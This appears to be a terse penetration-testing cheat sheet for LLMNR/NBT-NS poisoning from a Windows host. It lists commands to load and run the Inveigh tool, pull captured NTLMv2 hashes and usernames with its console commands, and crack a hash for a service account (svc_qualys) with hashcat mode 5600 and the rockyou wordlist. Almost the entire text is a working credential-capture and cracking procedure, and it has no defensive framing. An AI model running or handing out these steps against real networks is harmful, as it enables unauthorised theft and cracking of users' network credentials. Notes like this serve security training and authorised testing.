LLMNR/NBT-NS Poisoning - from Windows

June 28, 2024

remmina

ls

Import-Module .\Inveigh.ps1

.\Inveigh.exe

Press esc then

HELP

# This will spit out NTLMv2 hash which we can crack with hashcat
GET NTLMV2UNIQUE

# This will display the usernames
GET NTLMV2USERNAMES

subl svc_qualys
hashcat -m 5600 svc_qualys /usr/share/wordlists/rockyou.txt